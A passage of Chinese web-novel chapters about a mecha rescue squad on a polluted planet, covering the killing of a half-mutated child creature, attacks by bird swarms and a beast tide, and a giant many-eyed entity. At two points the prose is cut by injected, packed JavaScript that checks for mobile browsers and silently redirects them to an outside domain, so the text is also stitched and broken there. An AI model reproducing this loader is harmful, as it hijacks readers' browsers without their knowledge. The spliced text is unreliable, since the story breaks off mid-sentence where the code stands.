可是等车门完全滑开的那一刹,所有人都不由得呆了一下。车里的东西出乎了所有人的意料。 那一瞬忽而变为完全的空白。 像是有阳光从车里照出来,光潮将所有人脑子里都照成一片朦胧。没有意外扑出来,更没有血腥,只有一场午后阳光般的梦幻。透过彭烈的背影,一缕金发从他的肩膀上飘起,在风里晃晃悠悠、晃晃悠悠。 那缕头发的颜色灿烂如金,像一束光忽地跃进这个黯淡的傍晚。绒绒的,轻盈的,像万卷的柔丝在人的心底挠啊挠。看到这一幕的人都不由得松懈下来,觉得自己太过紧张,夜色中,有种氛围悄然降临,熟悉得像是忽而回到了帝都风吹柳叶的街头,身上不是机甲而是简约的便衣,忽然间看见某个刻在心底的背影从人群中走过,隐约得像是月影儿消融。 每个人在这一刻都忽然恨不得要伸长了脖子去看,心底突兀地升起一股对挡在那里的彭烈的强烈憎恨,对他能站在那里恨得牙痒痒。 而站在那里的彭烈,却像是呆了,傻了,仿佛是被那种光给逼退了,他呆呆地后退了一步。 男人山一般的背影移开。 车厢中,一个人形慢慢地坐起,迎着光,抬起头。 连最为警惕的原野都屏住了呼吸。那一刻他所有的感官都消失在无尽的黑暗里,只有明亮。明亮。 这美丽赋予万物生命,满室的光明都开始呼吸。 那么长的金发滚落了下来,映着夕阳,华耀得仿佛有火光在流淌。 一双眼睛,在无尽的黑暗中睁开。那双眼睁开的一瞬,黑暗如水褪去,天地忽地都亮了,笼罩此地的诡异和荒凉像是雨幕倒卷,死寂的世界苏醒复活,光透过水晶般的天穹照下来。 彭烈只觉得四肢麻木,脑海中朦胧像是蒙着一层水,除此之外天地死寂,他只能听见自己的心跳声,有如擂鼓。 坐在那里的,是个小小的孩子,披着自己阳光般的一匹长发,肌肤皎洁如玉石。长发中低垂着一张莹润的脸,那张脸儿带着动人心魄的美丽,任谁看到,都会觉得心里像被刺痛了一下。 孩子没有说话,也没有表情,只是睁着那双清澈的眼瞳,静静地凝睇。仿佛带着微微的疑惑。 良久,她向彭烈伸出一只手。 彭烈整个人都是木楞的,如果按照平时,急躁如他也不会如此莽撞,可这一刻他忽然忘记了所有潜在的危险,他也对孩子毫无防备地伸出手,木木地说:“不要害怕,我们是小珠星方面战场的3-15救援队,你得救了……” 彭烈的手腕摹地炸开一样的疼痛,他被另一具机甲像钢铁般紧紧地握住! 同频反馈来的痛觉让彭烈浑身一震,他身周本来空无一人,另有一具夸父却不知道什么时候,鬼魅般出现在了他的身后! 那具夸父寂静如死,可是在机甲的机载频道中,一个低低的声音却响起在彭烈耳边:“不能碰!我是2队5号队员龙雷,我是来帮你的,你被影响了!” 彭烈本来想发怒,随着那人的话语,一股迟钝的怪异感却慢吞吞地涌了上来,可是有股惯性仍然在影响他,隔着脑海里的那层水,他无法思考。 他慢吞吞地问:“为什么不能碰?异常警报又没有响,这是幸存的人类生还者,你难道要见死不救?” “人类生还者?”那个人怪异地反问,“你看仔细了。” 机载频道中,忽地传来一声爆喝,“醒来!” 那声大喝像一道雷在彭烈耳边爆炸了,当头一刀劈开他的天灵盖。剧痛刺入他的颅脑,脑海中的那层水膜被瞬间震去,新空气铺天盖地的涌入,他大口地呼吸,胸口剧烈起伏。 彭烈的状态太糟糕了,以至于他没有听出那声爆喝的奇怪,那声爆喝中压着许多隐隐约约的小舌音,甚至夹杂着不可名状的低嘶,发音方式艰涩而怪异,不像是人类的语言,反而像某种已被遗忘的古语极具压缩成一小段,听起来像如今的“醒来”而已。 “我……我怎么了?”机甲中的彭烈以手捂脸,他觉得脑子里像一片浆糊。 片段一个个地从脑海中跳出。他想起某个队友阻止了他,他说他是来帮忙的,可是那个人说的话很奇怪,人类生还者有什么不对?他顶着剧痛慢慢抬起头。 忽然之间,彭烈的瞳孔剧烈地收缩,他突然看清楚了,只觉得手脚冰凉,牙间压着一声惊喝,一股恶寒在心中升起。 车里,还是那个孩子,还是那张脸,那确实是张秀美的面容,可不知道为什么这次再看,那种鬼神般的摄人忽然褪去了。在这么小的孩子身上,只衬得像是个洋娃娃而已。 当他看清了孩子的“躯干”时,不由得再次倒退了一步。 他终于明白了一旁的龙雷为什么反对“人类幸存者”的说法。没有人类是这样的,也不可能有人这样,还是人类。 孩子的脖子以上,明显和正常的人类没有两样。当她披着长发时,整个人显得纤纤细细,乍一看是个瘦小的孩子。可是等那种摄人心魂的光华褪去,彭烈看清楚了,只觉得鸡皮疙瘩忽然从皮肤上炸起,头发丝根根倒竖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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两人都注意到,人头蜘蛛伸出了它最外面的两只手臂,去推那具绛紫色的尸体。尸体已经不辨面目了,五官冻在一处。 人头蜘蛛叫“妈妈”的声音越来越刺耳,语调怪异地起伏,彭烈心中忽然猛地一动,他突然明白过来,这人头蜘蛛一直急切地推搡这具尸体,也许是想叫醒它,可是它已经不会说“醒醒”,它的智力已经支撑不起这么大的词汇库,它的语言中只剩下了“妈妈”,所以它只能不停地这么叫。 “妈妈妈妈……”人头蜘蛛的声音像在哭喊,蕴含着巨大的悲恸,就像是任何一个人类的小孩,两行泪水真的从它的面颊上流下。 彭烈忽然有点明白是怎么回事了。“它……她马上就要失去人性了吧?” “是。”阿龙迦点头,“她正处在‘异化’的过程中。但她还没有异化完全,肢体已经完全畸变,但她还保留着一点人类的意识,所以她既不能算人,也不能算作异兽。最终判定程序对这个中间阶段的判定很模糊,所以在异常警报里,她没有被算作异兽,警报没有响起。” “看来是母亲带着女儿开车逃亡,却在路上被堵死。A033忽然降临,极寒冻死了这里的一切生命。可是早在这之前,女儿就已经被笼罩这个污染星的精神场所污染,也许就在红莲地狱降临的一瞬间,她的躯体异化完成了,强化的身体素质让她抵抗了极寒,等她再次醒来,这里已经成为一片死地,而她也只剩不多的人类意识了。” 阿龙迦的声音很低。 “那我们……要怎么做?”第一次踏上战场,彭烈觉得自己的心神已经溃乱,他知道自己已经丢尽了脸,可是身边这个突然出现的队友没有惊惶,没有手足无措,仍然像他刚出现时那么平静,不动如山。一切仿佛还在他的掌握之中,他不由自主地开口询问他。 “你知道的,不是么?”阿龙迦的声音没有波动,“我们别无选择。” “可是……可是……”彭烈结巴了,在战场上真实地碰见异兽,和他曾经的所有练习与想象截然不同,他曾经的对手都是丑恶的、狰狞的、令人憎恨的,或者即便外表再魅惑,也只是凶恶的假象。 可是今天遇见的第一个异兽,却只是一个在和母亲逃命的孩子而已,倒霉地活了下来。 他本来想说它其实就是一个孩子啊,可等话说出口,却只是一句:“可是她还会说话啊……” 阿龙迦没有回答。他只是侧身探入车厢中,他将手递给人头蜘蛛,声音从机甲的扩音器中透出,沉稳得令人信服: “别着急。你妈妈只是睡着了,我带你去别的地方等好不好?这样就不会吵到她。等她醒来,她就会来找你。” 人头蜘蛛缓缓回头,直起身体,又像是个干瘦的小孩子了,像洋娃娃一样披着自己金子般的长发。她定定地凝视阿龙迦,清澈的瞳子里有瑰红色的水波,在一圈圈地扩散,仿佛在反反复复地确认这个人是否可信,可她自始至终看到的,也只有那副机甲苍红色的铁面而已。 “我们走吧?去安全的地方。” 阿龙迦只是坚定地伸手。 最终,人头蜘蛛还是握住了那只手,一只小小的手掌,放进了那只巨大的钢铁之手中。 阿龙迦另一只手也伸过来,手心闪过一抹银灰色的光,似乎是要托起她的头颅。 人头蜘蛛像是终于放下了警惕,将金发覆盖的面颊轻轻地贴近,那只手里某个凸起的金属触感奇怪,硌到了她的侧脸。她不由得动了动。 彭烈忽然明白了阿龙迦要干什么,他不由得大喊:“不……” 却又生生止住了。 当他喊出声的瞬间。一切已经晚了。 等离子剑的光刃已经穿透了人头蜘蛛的头颅,极度的光热从一侧的太阳穴刺入,一直从另一侧的头顶穿出,烧穿了它的血肉。这把等离子剑的剑柄早已藏在阿龙迦的右手中,被他贴着掌心放置,等到人头蜘蛛将脸贴近的一瞬间,等离子体剑的剑刃被他点亮,七尺的光刃吐出,穿颅而过。那极度的热,足以烧穿合金。 阿龙迦熄灭光刃,人头蜘蛛剧烈地嘶叫起来,那个哭声仍然是“妈妈!妈妈!妈妈!”它在地上翻滚,极度的痛苦使那张面容剧烈的狰狞了,挣扎却只在短短的一瞬间,几个呼吸之间,人头蜘蛛就不动了。 它仰倒在地上,血从头颅和口鼻中流出,漆黑的血,汩汩地流动,浸湿那匹漫漫的金发。 裹在自己金发中的人头蜘蛛,看上去就像个纤细的人类孩子。彭烈的心脏剧烈跳动,他觉得手足燥热,黑色的愤怒和灰色的茫然像被打翻的颜料,混在一起流动,最后变成漆黑的岩浆,像地上的血。 他牙间咬得紧紧地,只是茫茫地问:“就是这样了么?就是这样了么?” 阿龙迦没有回答。他俯下身,以手心轻抚,阖上了孩子大睁的双眼。直到死前,孩子的双眼依然紧紧地跟随着那具绛紫的尸体的方向。 而后他利落地转身,没有行注目礼,也没有敬礼或者哀悼,他只是转身,又回到了队伍中。 彭烈僵在那里,身上微微颤抖,他耳边阿龙迦侧身而过时的话,仍在回荡: “就是这样。一直以来,都是这样的。等我们战斗到开始异化的那天,也会是这样。” 23. 23 六手四翼 一切发生得都太快了。彭烈闷闷地退后那一步,阿龙迦的身影以鬼魅般的方式奔袭,人头蜘蛛倒在自己的金发中,似乎都发生在同一瞬。 人们刚从精神影响的恍惚中醒来,就看见人头蜘蛛的黑血崩泻飞溅。 看清人头蜘蛛的人都一时沉默,连原野也暂时失语。 “走。”良久,原野一字一句地说,“前进!” 队伍继续行进起来。每个人都比刚才要更警惕,也更沉默。夕阳下沉,高楼的影子拉成山和海,淹没大道。 某个细微的动静在眼角略过。阿龙迦猛地抬头。 一只鸟落在楼顶。 如果那能算鸟的话。 “鸟”的全身已经剧烈的萎缩和干枯,皮毛紧紧地贴在骨头上,面骨腐烂,关节尖锐,扭曲如枯木,狰狞的像已死去多时的僵尸。 那干枯的双翼上透出一种青铜般的色泽,像是青铜的工艺品,它干瘪得已经不像血肉,而像金属。 就是这么只小小的鸟,再大也不超过红隼,在它出现的那一瞬,一个刺耳的警报却在机甲中响起,这是个危险的警报,它的意思是:凡三百米内,存在大于等于一的异常实体! “注意!您的周围出现【A001号实体:遮天的青铜之翼】!该实体以族群存在时,将导致大规模的精神打击。请提高警惕!” 鸟收起翅膀,落在极远的地方,在高楼边缘俯瞰,静静地。 它安静的时候,更像一具青铜的雕塑了。蒙着白翳的眼球一动不动地盯着地上的人群。 然后是第二只、第三只。 机甲中接连响起警报声,越来越多的A001-青铜之翼落在四面的楼顶上,青铜色的翅膀纷纷,遮蔽天日,像古时候战场上,食腐的秃鹫。 每只青铜之翼落下后,就静静地凝住,像一尊尊小小的雕塑,腐烂的眼珠俯瞰地面。 机甲中的警报已经连成一片,原野当机立断,“火力覆盖!迅速尝试歼灭!不能让它们形成族群!歼灭时,加速前进!” 原野话音刚落,束能枪的攻击已经密集如雨,高能粒子束在寂静中被吐出,耀眼的亮线,一层层地交织,有如流星。 命中!命中!还是命中! 四周都是那种靶子被射穿的声音。那些青铜之翼诡异地并不躲闪,被击中的,有的木木地还是那么直立,有的直接翻下高楼。 可是青铜之翼的总数量丝毫没有减少。因为正在降落的青铜之翼太多了,像一阵青黑的雨,远比掉下的“鸟”更多!多得多得多! 没人知道哪里来的那么多青铜之翼,只是顷刻之间,它们从这座废墟之城的窟穴中涌出,每栋废楼中都有它们的影子,像青铜色的狂流,逆着天幕而起,最后形成巨大的涡卷,成千上万青铜般的小翅膀在这个涡卷中盘旋,狂流遮挡天空。 “注意!注意!A001-青铜之翼的数量已跨过阈值,形成族群!在它们的笼罩下,您将随时遭受范围性精神打击!” 警报的声音锐利得更上一层台阶,像钢刀般插进颅内。 “走!迅速前进!” 原野的咆哮在公共频道中炸开。 队伍开始奔跑前进。阿龙迦心中一动,知道不好,迅速全速奔袭来到了队伍最前端,身影模糊像一卷赤雷。 当下的场面,如何不像狼驱赶羊群?虽然大部分异常实体都是依靠本能,根本说不上什么策略,和阴谋诡计,但“驱赶猎物进入陷阱”也算在它们的本能中,以这样的速度,如果前方遇到突发情况难以反应,折损率绝对不低! 既然情形逼着他们做了这个“羊群”,那起码一只经验老道的头羊能在被赶入陷阱时做出最好的选择! 阿龙迦选择做这只头羊。 振翅声,气流声,射穿靶子的声音,在头顶汇聚成巨大的积雨层,声音隆隆,像滚动的雷。 “青铜之翼”形成族群的精神影响已经开始,以阿龙迦精神的坚韧程度,耳边已经听到了隐隐约约的人声,那不是任何一种语言,绝不可解,无可名状,像阴天雨滴在草丛里的声音,巨大的东西来回翻滚,像引力诞生之初那种原始的振动,在摩挲他的耳膜。 然后是感官。视觉,触觉,味觉……有人在说话、笑,有阳光,有风,丝丝缕缕。有喜悦控制不住地从心底涌上来,心弦上的余音泛开,声音袅袅。 他从每一个毛孔间感受到过去,那是一种“感觉”漫过他的躯壳,记忆在紧逼,那些层层叠叠的幻觉,就像追在他身后那么近。 心情像在吹一个巨大的泡泡,轻盈得要吹破了。他听见背后有声音在喊他:“阿龙迦。” “阿龙迦,我们上学去。”孩子的声音。 阴雨的天空下,声音孤单。 阿龙迦充耳不闻,只是狂奔。 队伍整体的速度已经在慢慢减缓,许多人的动作都出现了停滞,是那种空白一瞬的停滞,仿佛视频卡帧,十分滑稽,但这样的滑稽出现在战场上,是致命的。 后排的火力出现了明显的空缺。天上的鸟更多了,形成厚厚的云层,阴影笼罩大地。 幻觉更重了,视觉急剧扭曲,看不见脚下废墟的大道了,阳光……不知道从哪里来的阳光充塞他的视野,阳光下站着挺拔的年轻人们,高瘦的男孩,短发齐肩的女孩,胸前配“执行舰长”的军人,朝气蓬勃的少年,许多道身影,许多个声音: “元帅!” “元帅…” “元帅!” 年轻人们在往前攀登,这是一条高得仿佛通天的桥,桥的尽头,皇储宫高山般耸立。已经有年轻人登顶了,有黑甲的年轻人扛着旗杆爬上宫顶,抖开一面大旗,浓墨般的两个字飘扬在金色的天空中:黎明。 “皇储宫已清洗完毕!元帅,杀了废物皇储,从此君临就只有黎明党!宇宙的王座上,只有陈寂的名字!” 阿龙迦的手中不再是等离子体剑柄,而是提着一把幽邃的古剑,剑名“死国”。一步步,元帅漆黑的大氅卷过石桥,仿佛黑夜漫过露水的草地。 等他走出这座皇储宫时,他就会以另一个血气淋淋的名字遍闻宇宙:弑君者。 心中像是生出了另一个声音,在不停地念:别往前了别往前了别往前了!从这里开始,最后的结局就已经写下。 仿佛有虚幻的手从地面下伸出,去抓住阿龙迦的腿。他的奔跑间有巨大的阻力,但他明白那不是真实,而是自己在和自己对抗。 在外界看来,阿龙迦操纵的这具夸父,也开始出现滑稽的“卡帧”,像生锈了的锡兵,动作一顿一顿。 如此境地,阿龙迦只是笑。“还是心有破绽啊。” “老师教的功课,武士修心,如铁石磨剑,肉蚌含沙,我还是……没走到极点!” 下一秒,笑容隐去,他直接闭上了双眼! “24号,提供方向矫正!从现在开始,每5秒进行声音导航。” 他直接在黑暗中奔跑前进!那些幻觉依然透过视觉,隐隐约约地呈现在脑海里,可效果已经弱了太多。 “您已偏航,请向东北做出30度角位移……” “您已偏航,请向东北做出6度角位移……” “您已偏航,请向西北做出15……” “您已偏航!” “您已偏……” 机载AI进行不断的报错,以外界的视角来看,阿龙迦一骑当先,领跑在迟缓的人潮前方,他跑得歪歪扭扭,不停地左转右转左转右转,像是画着“8”字型的苍蝇,滑稽可笑。 可是这只苍蝇飞着飞着,似乎就生出了一种若有若无的韵律,偏移的瞬间,机体就已经向另一个方向做出旋转,呈现出一种奇妙的角动量守恒。 每一次偏移后,下次偏移的角度就会更小,阿龙迦心中仿佛有一个自适应的陀螺仪,这些偏移和旋转,仅仅是让他趋于稳定。 数分钟的“偏移-矫正”后,他跑出的轨迹,呈现出了惊人的准确性。如果以人的目力相测,几乎呈一条直线。 在他的带领下,整只队伍虽然队型参差,但依然连成一列,没有分散,在规模这么大的青铜之翼围困下,已经是奇迹了。 阿龙迦匀速前进,心中疯狂地思索着这种情况下的对策,A001-青铜之翼就是这么种恶心的实体,一旦形成族群,你根本甩不掉! 而他们致命的问题就是人数太少,火力不足,大规模部队遇到青铜之翼的应对就只有一个: 以绝对的炮火洗地将它们炸成灰烬。青铜燃火,坠天之灰,那种万翼同坠的场面,仿佛巨大的八尺玉烟花在天心爆裂,拉开千万道火流。 “24号,给我搜!附近是否存在能瞬间拉开距离的地形?有没有大规模河流?或者坚固的地下建筑……” 阿龙迦话音未落,一种令他毛骨悚然的针刺感突然降临。 仿佛许多根针在扎他的后背,那种激得人豁然起立的感觉,又是他的那种“直觉”在起作用,他不由得提起了十万分的警惕……某件事,某种东西,正蓄势待发! 这是个极度不详的感觉,阿龙迦心中如被火煎。 在这个短暂的瞬间,他忽然察觉到了一件非常奇怪的小事——和机甲的通感告诉他,这一刻,地面上有风,细小的微风,在往上吹。 哪里来的风? 他还没来得及思考这个问题,一声巨大的震颤就打断了所有人的动作,天地巨震,仿佛一道裂缝,切开了整个世界。地面整个的塌陷下去!地表向下坠去,坠入深不见底的黑渊。 地底的窟窿里,兽潮/喷涌而出!漆黑的兽潮!成百上千,成千上万! 阿龙迦的视觉被完全扭曲,可机甲的警报为他提了醒,“请注意!请注意!凡三百米内出现巨量兽潮!请迅速撤离!” 再没有那么可怖的景象,兽潮像泥浆从这个窟窿中井喷,向上逆飞。 无穷无尽的异兽一个踩着一个往上疯狂地攀爬,像一串串的藤蔓挂在塌陷边缘,每一秒它们都泥滩般疯狂地涌出地表,撞向人群。 人群瞬间被撕裂,从上空看去,像一匹赤红色的锦被粉碎,或者红色的水池中涌入浓墨,摧枯拉朽! 急剧的人员折损从这一瞬开始! 站在最前面的一线队员几乎全部瞬间被冲倒。转瞬就被淹没,层层叠叠的异兽围上去撕咬,数量太多了,多得像水和大潮,这个时候,被青铜之翼的幻觉拖延反应慢上一瞬,就足以送命。 光刃醒目的蓝色在扑天的兽潮中亮起!迅速地一亮一灭,穿透异兽的血肉,那蓝光亮绝,透过层层飞溅的血透出。 队伍的最前沿,还有一个人没死!是阿龙迦。他太快了,因为光刃只是等离子体束,根本不需要“抽剑”这个动作,他每次挥出的动作都是攻击,不收也不转折,只是屠杀。 太快了,像一道贯穿天心的闪电,你看见蓝光亮起的瞬间其实就已经死去,所有扑上来的异兽被光刃贯穿后,都要在空中僵滞一瞬,才无力坠下,中间有个诡异的停顿,像一个空白帧,一瞬后残尸纷纷扑落在地,像冰雹之幕围着他落下。 阿龙迦屹立在无人还站着的最前方,背影巍巍然,像一道分开海潮的中流砥柱,窟窿中源源不断扑出异兽,而他正好迎面当头。 他舒展等离子体剑,展开屠杀。可这样精准的杀戮本来不应该发生,青铜之翼本来已经完全扭曲了他的视觉,他的视觉还陷在那个攻陷皇储宫的幻境中,他怎么看得见敌人的?他本该和其他队员一起倒下! 阿龙迦踏地前攻,突刺接挥砍,挥砍接斜切,那道虚影般的斜切后,再起的是绝世的纵劈!完满的圆,必死之圆,巨大的杀意蓄在那轮饱满的圆弧中。一切如行云流水。如果让大卫,或者在场的任何一个战士看见,都会惊骇地不能成言。 驾驶机甲毕竟是驾驶机甲,是在驱使一具巨大而陌生的躯壳,无论如何也不可能如臂指使,再熟练的战士也不能做到毫无停滞和沉重感,就像用自己的身体实战那样。 可是一个悖论却明明白白地出现在了这里。这一切理论在阿龙迦这里都如飞灰,此刻他的动作和上次在后备军基地比武时,完全不能相提并论,像是泥躯被点了眼睛,精魄油然而生。 太轻盈了,每个动作间流畅到不可思议,一消所有的沉重感和滞涩,仿佛不是在驾驶……而是机甲已经成为了他的身体。 阿龙迦闭目,吐息,然后再次闪电般射出! 早在他的直觉疯狂预警的那一瞬间,他就已经迅速改变了自己和这具夸父的同频率。还是靠他天生的那种匪夷所思的能力,同频率被他轻松地推上50%,超过了这个危险的界限。和这具机甲同频越高,越多的力量就像潮水般涌来,他对这具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126983|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯壳的掌控度也水涨船高,不仅动作再无滞涩,这具异兽血肉层的“阻挡”作用也变高,帮他抵消了一部分青铜之翼的幻觉。 起码,在他双眼刺目的阳光中,他已经能看清异兽的轮廓。 “撤退!迅速撤退!前方路面出现塌陷,地底隐藏巨量异兽!”阿龙迦第三次在公共频道中发出警告,终于有另一个声音回复了他: “收到!后方正在组织,即将向后撤退!” 异兽的尸堆在阿龙迦脚下越堆越高,他方圆十丈之内,形成了一个尸骨之圆。兽潮像滔天的大浪打在圆上,可是阿龙迦像一个纯粹的绞肉机,强绝的暴力凝聚在这个圆中,靠近他的异兽,没有一只能进入这个距离还活着的,这个尸骨之圆空寂而洁净,只有死寂的尸骨相藉。 直面大型兽潮却一步不退,屹立不倒,这已经是现在的军人们无法想象的悍勇。一人之威,强绝狂绝,如同磐石排水,截江断流! 阿龙迦像闪电般转折,颊边拉出锋利的线条。他能滴水不漏地站在这里看似已经是一场奇迹,可异兽实在太多了!每秒钟都在不停地增多! 虽然大部队得到了他的警告,已经在准备撤退,可是撤退能退到哪儿?后面是青铜之翼,前方是塌陷的地表和兽潮。 怎么办?身经百战的前千叶葵舰队长在一次救援任务中却陷入了两难之境,巧妇难为无米之炊,再厉害的将军也打不赢队员只有100人的仗(当你的敌人是成千上万的异兽时)。 他眼前,似乎只剩下了一个选择。 驾驶室中,阿龙迦已经调出了开启夸父“异化状态”的选项,据大卫所说,夸父是个等级非常高的机型,已经来到高危机甲的边缘,开启异化状态后,它的等级将缓步提升,超过45分钟后,它将能踏破起源的边界,超凡入圣,成为一具起源级机甲! 起源级和其余机甲就不能同日而语了。那些深埋地底的起源机甲,才真正可以说,是具有“神异”! 哪怕只是一具半步起源机甲,也能解他此时的燃眉之急! 阿龙迦的眉毛扬而复落,他就要摁下那个选项……忽然脑海一片空白。 一道巨大的声音从远方响起,贯穿了整个世界。 那个声音,低缓而悠远,无法描述的可怖,像无限大的磨盘,把所有人的意识夹在里面,磋磨成细细的粉沙。 像是从远古传来的呼号。一声之下,一切为之改变。 本来僵硬的青铜之翼们忽然惊起,纷纷振翅,升入空中,汇集成一片青铜色的浓云,像被人捕猎的普通鸟群,惊惶远走。 笼罩这里的巨大阴影就这样迅速散去,像是风卷残云。 它们带来的幻觉也一并褪去,天空下,许多人就这样呆呆地站着,抬头仰望。那精神影响仿佛还残留在他们的思维中。 与此同时,异兽们的所有攻击也停下了,整片大地的兽潮像在逃遁一样,迅速远离!洪流避开人群往后奔涌。不可思议,异兽这些没多少智能的存在居然会放弃进攻人类,而率先逃遁……阿龙迦心底微微一动,能让他们压下本能的,只能是另一种本能! 那贯穿天地的长吟,那一瞬究竟发生了什么? 视觉在逐渐恢复,阿龙迦举目眺望。 原来,前方是有一座塔的,上通绝地之塔。 在阿龙迦的幻觉里,前方是黑石耸立的皇储宫,在现实中,那里也不是完全的虚无,那个位置其实是一座高塔。并且应该是这个城市中,最高的一座天空塔。 天空塔像是被谁从顶部劈了一刀,直裂到地面,劈开的那一半已经不翼而飞。阿龙迦等人能看到的天空塔,只是仍在伫立的后一半,能直接看到它的内壁,像是课本里,那些剖开物体给你看的截面图。 天空塔内壁浓重的阴影中,盘踞着一个不可名状的东西。 首先让人注意到的,是四只翅膀。能“盘踞”在整座塔内,这显然是四只巨大到不可思议的翅膀,每一只都足以引起人的巨物恐惧症。四只翅膀在缓慢地舒展起伏,像洁白的云朵,又如同正在呼吸。 另一个特征,是翅膀间隙伸出的手,巨手。 一共有六只手,从不同的地方伸出。每只手的手心,都有一只巨大的眼睛,和人的眼瞳没有任何区别,眼睛直直地看着前方。 盘踞在天空塔内壁上的,就是这么一个存在。 六手四翼,这就是它全部的特征。没有其它的东西,没有“身子”,它的主体就是那层叠的四翼,四翼之间,生出细仃仃的手臂。 阿龙迦站住了,默默地屏息。恢复清醒后,陆续有人看见了它,看见它的人连惊呼都没有,所有看见它的人,都仿佛被钉死在了原地。 警报在这一刻才迟缓地响起,像是濒死的挣扎:“特级警告!特级警告!您三百米处出现巨大天灾型异兽,威胁度:极高,等级判定:半步君王级(疑似)!” 警报过后,所有人都抬起了头,还活着的每一双眼睛都看向了它。 有的骇然,有的极度畏惧,有的颤抖,有的决绝。 阿龙迦本来已经屏息,看到这一幕心底却咯噔了一下。看它的人太多了。 虽然在兽潮中折损了一部分队员,这里在同一刻直视它的“观察者”却依然近百。异常的很多方面都和“精神”挂钩,而在玄之又玄的精神层面,观察者的数量,还有“观察”与否,有时会对事情造成截然不同的影响。 阿龙迦当机立断,迅速开口:“所有人,把目光从它身上移……!” 话音未落,“它”的身上,忽生巨变! “它”睁开了它的眼睛,无穷无尽的眼睛。原来它不只那些手心中的巨眼,它的“眼睛”,遍布它的身体。 四只巨型的羽翼上,眼睛密密麻麻。细小的眼睛,楼房大的眼睛,有的纵目,有的斜生,每只眼睛都是一模一样的,但是大小、分布完全不同,像被人胡乱粘贴的贴图,它们繁乱地生长在羽毛间,这些眼瞳齐齐睁开的时候,像一千面一万面相同的镜子朝你打开,到处都是光斑,到处都是那种无机的凝视,到处都是目光,漫天漫地。 镜面般的光斑四处晃动…… 阿龙迦深深地呼吸,他知道事情大了。 在这漫无边际的目光中,他在公共频道中轻声说:“都别动。一个一个来,我叫到谁的序号,谁就把眼睛闭上。” 24. 24 诛戮陷绝 “1队3号,1队4号,1队5号,依次闭眼……” “2队1号,2队2号……” “4队……5队……6队……” 随着阿龙迦的声音,幸存的队员逐一闭眼。 到最后,所有号码都数完,阿龙迦的声音骤停,全场只有他还睁着眼睛。 可连他也不敢直视远处那个巨大的存在,朦胧的白色巨翅在余光尽头呼吸般起伏,遮天蔽日,翅膀上无处不是眼睛。 阿龙迦几乎屏住呼吸,他在绝对的寂静中等待,直到漫长得仿佛一个世纪的时间过去,眼角的那些眼睛,才一只只闭上。 天地之间,那些镜面发射般的光斑瞬间消失。 “‘它’的眼睛闭上了。”阿龙迦低声提醒。 “迅速退出‘它’的视线范围......一定要快……所有人,低头撤退!”原野在机载频道中低喝。 “该死的,那究竟是什么东西!不,应该说,这里为什么会出现这种东西……”近乎漫长的时间后,退到看不到“六手四翼”的地方了,有人咬牙道。 “对啊,不是说咱们只是最基础的救援任务吗?按照计划范围,我们本来该一路处在安全区内,是最终判定程序说的,咱们降落地点无异常!” “哪里出问题了?!” “……折损了那么多队友!” “是最终判定程序的问题么?可连最终判定程序的监控也会出问题吗?” “有问题!最终判定程序的任务颁发和策划都有问题,请求终止任务!” “终止任务!” “够了!”争论停止于原野的一声呵斥,“你们参军的时候都誓言想要‘做个军人’,就是这样满腹怨言的军人么?” “我只说一件事!这次的主要战场不在这里,小珠星表面的救援,不是饱和救援,而是针对性救援,而现在,有47个人就客观地困在一片危楼中,要么被埋住,要么饥渴难耐,奄奄一息。这个范围内,根本没有另一支队伍会去救他们,如果我们不去,他们就会死。” “现在,作为军人,我只要你们回我一句话,”原野环视一圈,机甲中像有一道目光凌厉地剐过所有人,“去,还是不去?!” “去!”陆陆续续有人立正,敬礼。 “……去。” “去。” “我去!” “回队长,去!” “去!” 最后是所有人的声音。 “好,继续出发!”原野忽然微不可查地改变朝向,看向人群之后的阿龙迦,阿龙迦向他轻微地点头。 “这次,我们取道沿江大道,绕过这座城市废墟!” …… 队员们的疲惫情况超出预计,途中还遇到过三两股零星的异兽,行军的时长超出了总程序的预估。 将近8个小时的行军后,3-15中队终于到达任务区域。 阿龙迦拨开齐腰的长草,地平线上,灰白色的建筑群推开,连绵起伏。 (27°13'',15″N),白石居民区。 “终于到了。”有人在公共频道中慨叹。 “滴!” “您已到达任务区域,请分批进入居民楼废墟,进行挖掘救援,47位具有强生命体征的幸存者分别位于东南四楼、东北九楼中……请您迅速行动。” 原野简单分配了一下,将剩下的89个队员重新编为10队,当原野走过阿龙迦等人身边时,2队的队员们都查阅到了新任务: 2队,进入东3楼搜寻。 原野交代任务十分简洁。错身而过前,却紧紧地按住了一个队员的肩膀,压低了声音,对着整个2队说: “记住,进去了一定不能再分兵!我们的人数已经少到快跌破危险点了……如果不能保证每个队友都一直处在视野中,进去后,一定记得每过半个小时,所有人互相对口号。” “是。” 10个小队成员肃然点头。 “走吧。”原野打出手势。 东3楼是栋大门被废墟掩埋的居民楼,两名队员协力,用机甲挪开了门口大大小小的石块,露出了黑漆漆的门洞,黑得让人心里一跳,仿佛有冷风穿堂。 这是栋三层的居民楼,每一层大概十户人家。两边并不是笔直走廊的设计,而是存在拐弯,大概是户型不同。 强光灯下,淡淡的灰尘在光束中拂动,满地碎石。 墙皮片片剥落,有的墙不知道被什么东西撞过,整面呈现出蛛网一样的皲裂。看得人头皮发麻。 “22号,搜索生命信号。” “扫描中……已确认。二层和三层均存在生命信息,无法确定确切人数,在1~3人之间。” AI的播报不止于此,半晌,子程序中又传来一声迟缓的播报: “请注意,因为建筑内空间狭小,从现在开始,异常的报警范围将缩短至30米以内。” 阿龙迦眉头一紧。这是说从现在开始,只有实体出现在30米内才会报警,30米跟300米,近了不是一点半点。 